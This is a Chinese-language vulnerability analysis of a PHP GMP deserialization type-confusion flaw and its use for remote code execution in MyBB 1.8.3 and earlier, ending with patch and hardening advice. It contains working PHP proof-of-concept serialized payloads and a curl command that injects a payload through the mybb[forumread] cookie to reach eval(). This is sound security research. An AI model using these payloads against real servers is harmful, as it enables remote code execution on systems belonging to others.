GMP反序列化类型混淆漏洞[MyBB<=1.8.3 RCE漏洞]
字数 1091 2025-08-26 22:11:39
GMP反序列化类型混淆漏洞分析与利用(MyBB<=1.8.3 RCE)
漏洞概述
GMP反序列化类型混淆漏洞是一个在PHP GMP扩展中发现的严重安全问题,允许攻击者通过精心构造的序列化数据在反序列化过程中触发类型混淆,进而实现任意对象属性修改,最终可能导致远程代码执行(RCE)。该漏洞特别影响MyBB论坛系统1.8.3及以下版本。
受影响版本
- PHP 5.6 < 5.6.30
- MyBB <= 1.8.3
漏洞原理
GMP反序列化机制
在GMP扩展的gmp_unserialize()函数中存在类型混淆问题:
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC)
{
// ...
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
}
攻击者可以将**object更改为整数或布尔类型的ZVAL,然后通过Z_OBJ_P访问对象存储中的任何对象,并通过zend_hash_copy()更新该对象的任何属性。
类型混淆验证代码
<?php
class obj {
var $ryat;
function __wakeup() {
$this->ryat = 1;
}
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
?>
预期结果:
object(stdClass)#1 (2) {
["aa"]=> int(1)
["bb"]=> int(2)
}
实际结果:
object(stdClass)#1 (3) {
["aa"]=> string(2) "hi"
["bb"]=> string(2) "hi"
[0]=> object(obj)#3 (1) {
["ryat"]=> &int(1)
}
}
真实环境利用
PHP 5.6<=5.6.11中的利用
在PHP 5.6<=5.6.11中,DateInterval的__wakeup()使用convert_to_long()处理并重新分配其属性,攻击者可以通过GMP的gmp_cast_object()将GMP对象转换为任何整数类型的ZVAL:
static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC)
{
mpz_ptr gmpnum;
switch (type) {
case IS_LONG:
gmpnum = GET_GMP_FROM_ZVAL(readobj);
INIT_PZVAL(writeobj);
ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
return SUCCESS;
利用代码示例:
<?php
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
?>
MyBB<=1.8.3 RCE漏洞
MyBB<=1.8.3允许通过unserialize()反序列化cookie,攻击者能够更新$mybb或其他对象的属性。
关键利用点:
- MyBB在模板解析过程中使用
eval()函数:
eval('$index = "'.$templates->get('index').'";');
templates类的cache属性可被控制:
class templates {
public $cache = array();
function get($title, $eslashes=1, $htmlcomments=1) {
$template = $this->cache[$title];
return $template;
}
}
- 对象存储中的
$templates对象句柄为5(因为前面实例化了4个对象),可以通过GMP反序列化访问并修改其属性。
漏洞利用PoC
通过curl触发RCE(MyBB<=1.8.3和PHP5.6<=5.6.11):
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/
漏洞修复
该漏洞已在PHP和MyBB的新版本中得到修复。建议用户升级到:
- PHP >= 5.6.30
- MyBB > 1.8.3
防御措施
- 及时更新PHP和MyBB到最新版本
- 避免反序列化不可信的用户输入
- 对cookie等用户可控数据进行严格验证
- 在生产环境中禁用危险的PHP函数如
eval()
总结
GMP反序列化类型混淆漏洞是一个严重的安全问题,允许攻击者通过精心构造的序列化数据修改对象属性,最终可能导致远程代码执行。MyBB<=1.8.3由于不安全的反序列化操作和危险的eval()使用,特别容易受到此漏洞的影响。开发人员应重视反序列化操作的安全性,并遵循最小权限原则设计系统。